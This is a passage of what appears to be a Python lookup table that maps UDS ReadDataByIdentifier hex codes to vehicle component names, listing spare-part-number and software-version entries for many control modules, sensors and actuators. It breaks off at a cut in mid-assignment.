UDS_RDBI.dataIdentifiers[0x630b] = "Near_field_communication_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630c] = "Clutch_control_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630d] = "Electrical_charger_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630e] = "Rear_light_left_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x630f] = "Rear_light_right_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6310] = "Rear_light_right_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6311] = "Sunlight_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6312] = "Radiator_shutter_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6313] = "Radiator_shutter_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6314] = "Radiator_shutter_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6315] = "Radiator_shutter_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6318] = "Special_key_operating_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6319] = "Radio_interface_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631a] = "Video_self_protection_recorder_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631b] = "Special_vehicle_assist_interface_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631c] = "Electric_system_disconnection_diode_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631e] = "Belt_pretensioner_2nd_row_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x631f] = "Belt_pretensioner_2nd_row_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6320] = "Electrical_variable_camshaft_phasing_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6321] = "Electrical_variable_camshaft_phasing_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6322] = "Wireless_operating_unit_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6323] = "Wireless_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6324] = "Front_windshield_washer_pump_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6325] = "Air_quality_sensor_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6326] = "Fragrancing_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6327] = "Coolant_valve_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6328] = "Near_field_communication_control_module_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6329] = "Interior_monitoring_rear_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632a] = "Cooler_fan_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632b] = "Control_unit_heating_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632c] = "Control_unit_heating_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632d] = "Control_unit_heating_3_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632e] = "Control_unit_heating_4_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x632f] = "Operating_unit_drive_mode_selection_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6330] = "Side_sensor_a-pillar_driver_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6331] = "Side_sensor_a-pillar_passenger_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6332] = "Sensor_high_voltage_system_1_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6333] = "Side_sensor_b-pillar_driver_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6334] = "Side_sensor_b-pillar_passenger_front_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6335] = "Multi_function_steering_wheel_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6336] = "Gear_selection_display_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6337] = "Cooler_fan_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6338] = "Gear_selector_control_module_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6339] = "Interior_light_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633a] = "Radio_control_center_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633b] = "Multimedia_extension_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633c] = "Control_unit_differential_lock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633d] = "Control_unit_ride_control_system_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633e] = "Control_unit_hands_on_detection_steering_wheel_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x633f] = "Front_climatronic_operating_and_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6340] = "Auxiliary_display_unit_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6341] = "Card_reader_tv_tuner_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6342] = "Park_lock_actuator_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6343] = "Media_connector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6344] = "Catalyst_heating_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x6401] = "Control_unit_for_wiper_motor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6402] = "Rain_light_recognition_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6403] = "Light_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6404] = "Garage_door_opener_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6405] = "Garage_door_opener_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6406] = "Ignition_key_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6407] = "Left_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6408] = "Right_front_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6409] = "Left_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640a] = "LED_headlamp_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640b] = "LED_headlamp_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640c] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640d] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640e] = "Operating_and_display_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x640f] = "Operating_and_display_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6410] = "Right_rear_seat_ventilation_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6411] = "Data_medium_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6412] = "Drivers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6413] = "Front_passengers_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6414] = "Left_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6415] = "Right_headlamp_power_output_stage_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6416] = "Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6417] = "Rear_lid_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6418] = "Alarm_horn_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6419] = "Automatic_day_night_interior_mirror_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641a] = "Remote_control_auxiliary_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641b] = "Fresh_air_blower_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641c] = "Fresh_air_blower_back_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641d] = "Alternator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641e] = "Interior_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x641f] = "Refrigerant_pressure_and_temperature_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6420] = "Sun_roof_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6421] = "Steering_column_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6422] = "Anti_theft_tilt_system_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6423] = "Tire_pressure_monitor_antenna_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6424] = "Heated_windshield_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6425] = "Rear_light_left_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6426] = "Ceiling_light_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6427] = "Left_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6428] = "Right_front_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6429] = "Control_module_for_auxiliary_air_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642a] = "Belt Pretensioner left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642b] = "Belt Pretensioner right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642c] = "Occupant Detection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642d] = "Selector_lever_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642e] = "NOx_sensor_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x642f] = "NOx_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6430] = "Ioniser_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6431] = "Multi_function_steering_wheel_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6432] = "Left_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6433] = "Right_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6434] = "Left_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6435] = "Right_rear_massage_seat_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6436] = "Display_unit_1_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6437] = "Battery_monitoring_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6438] = "Roof_blind_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6439] = "Sun_roof_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643a] = "Steering_angle_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643b] = "Lane_change_assistant 2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643c] = "Pitch_rate_sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643d] = "ESP_sensor_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643e] = "Electronic_ignition_lock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x643f] = "Air_quality_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6440] = "Display_unit_2_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6441] = "Telephone_handset_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6442] = "Chip_card_reader_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6443] = "Traffic_data_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6444] = "Hands_free_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6445] = "Telephone_handset_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6446] = "Display_unit_front_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6447] = "Multimedia_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6448] = "Digital_sound_system_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6449] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644a] = "Interface_for_external_multimedia_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644b] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644c] = "Drivers_door_rear_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644d] = "Passengers_rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644e] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x644f] = "Camera_for_night_vision_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6450] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6451] = "Rear_spoiler_adjustment_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6452] = "Roof_blind_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6453] = "Motor_for_wind_deflector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6454] = "Voltage_stabilizer_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6455] = "Switch_module_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6456] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6457] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6458] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6459] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645a] = "Battery_charger_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645b] = "Battery_charger_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645c] = "Battery_charger_unit_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645d] = "Air_conditioning_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645e] = "Neck_heating_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x645f] = "Neck_heating_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6460] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6461] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6462] = "Compact_disc_database_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6463] = "Rear_climatronic_operating_and_display_unit_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6464] = "Rear_climatronic_operating_and_display_unit_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6465] = "Door_handle_front_left_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6466] = "Door_handle_front_right_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6467] = "Door_handle_rear_left_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6468] = "Door_handle_rear_right_Kessy_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6469] = "Power_converter_DC_AC_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646a] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646b] = "Matrix_headlamp_powermodule_1_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646c] = "Matrix_headlamp_powermodule_1_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646d] = "High_beam_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646e] = "High_beam_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x646f] = "Air_suspension_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6470] = "Rear_brake_actuator_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6471] = "Rear_brake_actuator_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6472] = "Analog_clock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6473] = "Rear_door_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6479] = "Data_medium_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647a] = "Operating_unit_center_console_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647b] = "Operating_unit_center_console_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647c] = "Operating_unit_center_console_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647d] = "Operating_unit_center_console_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647e] = "Interface_for_radiodisplay_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x647f] = "Parkassist_entry_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6486] = "Belt_pretensioner_3rd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6487] = "Belt_pretensioner_3rd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6488] = "Injection_valve_heater_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6489] = "Steering_column_switch_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648a] = "Brake_assistance_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648b] = "Trailer_articulation_angle_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648c] = "Cup_holder_with_heater_and_cooling_element_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648d] = "Range_of_vision_sensing_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648e] = "Convenience_and_driver_assist_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x648f] = "Cradle_rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6490] = "Trailer_weight_nose_weight_detection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6491] = "Sensor_carbon_dioxide_concentration_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6492] = "Sensor_fine_dust_concentration_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6493] = "Volume_control_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6494] = "Belt_buckle_presenter_2nd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6495] = "Belt_buckle_presenter_2nd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6496] = "Operating_and_display_unit_6_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6497] = "Active_accelerator_pedal_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6498] = "Multimedia_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6499] = "Display_unit_3_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649a] = "Display_unit_4_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649b] = "Display_unit_5_for_multimedia_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649c] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649d] = "Operating_and_display_unit_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649e] = "Operating_and_display_unit_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x649f] = "Operating_and_display_unit_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a0] = "Side Sensor Driver Front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a1] = "Side Sensor Passenger Front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a2] = "Side Sensor Driver Rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a3] = "Side Sensor Passenger Rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a4] = "Front Sensor Driver_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a5] = "Front Sensor Passenger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a6] = "Pedestrian Protection Driver_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a7] = "Pedestrian Protection Passenger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a8] = "Rear Sensor Center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64a9] = "Pedestrian Protection Center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64aa] = "Pedestrian Protection Contact_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ab] = "Pedestrian_protection_driver_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ac] = "Pedestrian_protection_passenger_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ad] = "Central_sensor_XY_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ae] = "Refrigerant_pressure_and_temperature_sender_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64af] = "Refrigerant_pressure_and_temperature_sender_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b0] = "Switch_for_rear_multicontour_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b1] = "Valve_block_1_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b2] = "Valve_block_2_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b3] = "Valve_block_3_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b4] = "Switch_for_rear_multicontour_seat_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b5] = "Valve_block_1_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b6] = "Valve_block_2_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b7] = "Valve_block_3_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b8] = "Switch_for_front_multicontour_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64b9] = "Valve_block_1_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ba] = "Valve_block_2_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bb] = "Valve_block_3_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bc] = "Switch_for_front_multicontour_seat_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bd] = "Valve_block_1_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64be] = "Valve_block_2_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64bf] = "Valve_block_3_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c0] = "Coolant_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c1] = "Seat_backrest_fan_1_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c2] = "Seat_backrest_fan_2_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c3] = "Seat_cushion_fan_1_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c4] = "Seat_cushion_fan_2_front_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c5] = "Seat_backrest_fan_1_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c6] = "Seat_backrest_fan_2_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c7] = "Seat_cushion_fan_1_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c8] = "Seat_cushion_fan_2_front_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64c9] = "Operating_and_display_unit_1_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ca] = "Operating_and_display_unit_2_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cb] = "Operating_and_display_unit_3_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cc] = "Operating_and_display_unit_4_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cd] = "Operating_and_display_unit_5_for_air_conditioning_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ce] = "Pedestrian_protection_left_hand_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64cf] = "Pedestrian_protection_right_hand_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d0] = "Battery_junction_box_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d1] = "Cell_module_controller_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d2] = "Cell_module_controller_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d3] = "Cell_module_controller_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d4] = "Cell_module_controller_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d5] = "Cell_module_controller_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d6] = "Cell_module_controller_6_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d7] = "Cell_module_controller_7_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d8] = "Cell_module_controller_8_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64d9] = "Cell_module_controller_9_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64da] = "Cell_module_controller_10_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64db] = "Cell_module_controller_11_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64dc] = "Cell_module_controller_12_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64dd] = "Seat_backrest_fan_1_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64de] = "Seat_backrest_fan_2_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64df] = "Seat_cushion_fan_1_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e0] = "Seat_cushion_fan_2_rear_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e1] = "Seat_backrest_fan_1_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e2] = "Seat_backrest_fan_2_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e3] = "Seat_cushion_fan_1_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e4] = "Seat_cushion_fan_2_rear_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e5] = "Auxiliary_blower_motor_control_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e6] = "Auxiliary_blower_motor_control_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e7] = "Infrared_sender_for_front_observation_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e8] = "Starter_generator_control_module_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64e9] = "Media_player_1_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ea] = "Media_player_2_sub_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64eb] = "Dedicated_short_range_communication_aerial_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ec] = "Refrigerant_pressure_and_temperature_sender_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ed] = "Refrigerant_pressure_and_temperature_sender_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ee] = "Refrigerant_pressure_and_temperature_sender_6_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ef] = "Air_coolant_actuator_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f0] = "Air_coolant_actuator_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f1] = "Cell_module_controller_13_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f2] = "Cell_module_controller_14_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f3] = "Cell_module_controller_15_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f5] = "Seat_heating_rear_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f6] = "LED_warning_indicator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f7] = "Automatic_transmission_fluid_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f8] = "Manual_transmission_fluid_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64f9] = 